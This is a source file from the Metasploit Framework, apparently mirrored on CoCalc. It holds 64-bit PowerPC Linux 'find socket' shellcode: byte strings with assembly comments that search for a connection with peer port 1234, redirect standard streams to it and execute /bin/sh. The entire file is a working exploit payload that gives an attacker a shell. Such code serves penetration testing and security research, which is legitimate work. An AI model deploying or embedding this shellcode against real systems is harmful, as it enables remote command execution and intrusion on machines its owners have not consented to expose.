CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/external/source/unixasm/lin-power-fndsockcode64.c
Views: 11766
1
/*
2
* lin-power-fndsockcode64.c
3
* Copyright 2008 Ramon de Carvalho Valle <[email protected]>
4
*
5
* This library is free software; you can redistribute it and/or
6
* modify it under the terms of the GNU Lesser General Public
7
* License as published by the Free Software Foundation; either
8
* version 2.1 of the License, or (at your option) any later version.
9
*
10
* This library is distributed in the hope that it will be useful,
11
* but WITHOUT ANY WARRANTY; without even the implied warranty of
12
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
13
* Lesser General Public License for more details.
14
*
15
* You should have received a copy of the GNU Lesser General Public
16
* License along with this library; if not, write to the Free Software
17
* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
18
*
19
*/
20
21
#define FNDSOCKPORT 86
22
23
char fndsockcode64[]= /* 171 bytes */
24
"\x7f\xff\xfa\x78" /* xor r31,r31,r31 */
25
"\x3b\xa0\x01\xff" /* li r29,511 */
26
"\x97\xe1\xff\xfc" /* stwu r31,-4(r1) */
27
"\x7c\x3c\x0b\x78" /* mr r28,r1 */
28
"\x3b\x7d\xfe\x11" /* addi r27,r29,-495 */
29
"\x97\x61\xff\xfc" /* stwu r27,-4(r1) */
30
"\x7c\x3a\x0b\x78" /* mr r26,r1 */
31
"\xfb\x41\xff\xf9" /* stdu r26,-8(r1) */
32
"\xfb\x81\xff\xf9" /* stdu r28,-8(r1) */
33
"\xfb\xe1\xff\xf9" /* stdu r31,-8(r1) */
34
"\x3b\xff\x01\xff" /* addi r31,r31,511 */
35
"\x3b\xff\xfe\x02" /* addi r31,r31,-510 */
36
"\x38\x21\x01\xff" /* addi r1,r1,511 */
37
"\x38\x21\xfe\x09" /* addi r1,r1,-503 */
38
"\xfb\xe1\xff\xf9" /* stdu r31,-8(r1) */
39
"\x7c\x24\x0b\x78" /* mr r4,r1 */
40
"\x38\x7d\xfe\x08" /* addi r3,r29,-504 */
41
"\x38\x1d\xfe\x67" /* addi r0,r29,-409 */
42
"\x44\xff\xff\x02" /* sc */
43
"\x3b\x3c\x01\xff" /* addi r25,r28,511 */
44
"\xa3\x39\xfe\x03" /* lhz r25,-509(r25) */
45
"\x28\x19\x04\xd2" /* cmplwi r25,1234 */
46
"\x40\x82\xff\xd0" /* bne+ <fndsockcode64+40> */
47
"\x3b\x1d\xfe\x03" /* addi r24,r29,-509 */
48
"\x7f\x04\xc3\x78" /* mr r4,r24 */
49
"\x7f\xe3\xfb\x78" /* mr r3,r31 */
50
"\x38\x1d\xfe\x40" /* addi r0,r29,-448 */
51
"\x44\xff\xff\x02" /* sc */
52
"\x37\x18\xff\xff" /* addic. r24,r24,-1 */
53
"\x40\x80\xff\xec" /* bge+ <fndsockcode64+96> */
54
"\x7c\xa5\x2a\x79" /* xor. r5,r5,r5 */
55
"\x40\x82\xff\xfd" /* bnel+ <fndsockcode64+120> */
56
"\x7f\xc8\x02\xa6" /* mflr r30 */
57
"\x3b\xde\x01\xff" /* addi r30,r30,511 */
58
"\x38\x7e\xfe\x25" /* addi r3,r30,-475 */
59
"\x98\xbe\xfe\x2c" /* stb r5,-468(r30) */
60
"\xf8\xa1\xff\xf9" /* stdu r5,-8(r1) */
61
"\xf8\x61\xff\xf9" /* stdu r3,-8(r1) */
62
"\x7c\x24\x0b\x78" /* mr r4,r1 */
63
"\x38\x1d\xfe\x0c" /* addi r0,r29,-500 */
64
"\x44\xff\xff\x02" /* sc */
65
"/bin/sh"
66
;
67
68
69